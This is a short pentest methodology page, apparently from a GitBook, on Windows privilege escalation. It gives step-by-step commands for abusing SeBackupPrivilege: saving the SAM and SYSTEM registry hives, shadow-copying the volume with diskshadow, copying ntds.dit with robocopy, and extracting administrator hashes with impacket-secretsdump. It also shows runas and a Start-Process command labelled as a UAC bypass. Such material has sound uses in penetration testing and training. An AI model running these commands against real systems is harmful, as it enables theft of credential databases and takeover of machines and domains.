# Methodology

## SEBackupPrivilege

if you have SEBackup Privilege, then you can access any file on the system. the best way is to get sam and system file and download those to your system and get the administrator hash

<pre class="language-python"><code class="lang-python">
reg save hklm\sam c:\users\username\sam

reg save hklm\system c:\users\username\system


<strong># download sam and system on your kali machine and then use impacket-secretdump
</strong>
impacket-secretsdump -sam sam -system system LOCAL 

</code></pre>

<figure><img src="https://3420091786-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fy1ZUO45eHY8aMCLJ7OiN%2Fuploads%2F9TXfus7OlV4UPUo7I5nU%2Fimage.png?alt=media&#x26;token=39ac84c8-d4c9-464d-81be-a8b117adc187" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3420091786-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fy1ZUO45eHY8aMCLJ7OiN%2Fuploads%2FE8JEWUrE6P9bjWYAXSM9%2Fimage.png?alt=media&#x26;token=48fbae52-ff0a-4fb0-b469-856554982e3e" alt=""><figcaption></figcaption></figure>

### Second Method : SEBackupPrivilege (Domain Joined Machines)

We can use the Second Method for Domain Joined Machines&#x20;

Create a file called **test.dsh**

```
persistent nowriters
add volume c: alias owo
create
expose %owo% z:
```

<figure><img src="https://3420091786-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fy1ZUO45eHY8aMCLJ7OiN%2Fuploads%2F5NjvzQOS42RCGhkPdRu0%2Fimage.png?alt=media&#x26;token=88af5b2d-bf4f-4fab-a589-59a90b843e93" alt=""><figcaption></figcaption></figure>

Upload this file to the target machine and then run the following command

```python
diskshadow /s test.dsh

# then run below command 

robocopy /b z:\windows\ntds . ntds.dit
```

after this you should get ntds.dit file in your current working directory

we also need system file for this to work

```python
reg save hklm\system c:\users\username\system
```

after you can use impacket-secretsdump and get the administrator hash.

```python
impacket-secretsdump -ntds ntds.dit -system system LOCAL 
```

## RUNAS (Changing user Sessions)

```python
runas /user:Administrator cmd # if you have the password of admin user 
```

## Bypassing UAC

we can bypass UAC in rdp session in a powershell shell by running the following command

```python
Start-Process cmd.exe -verb runas # this will give you full Admin Privileges
```
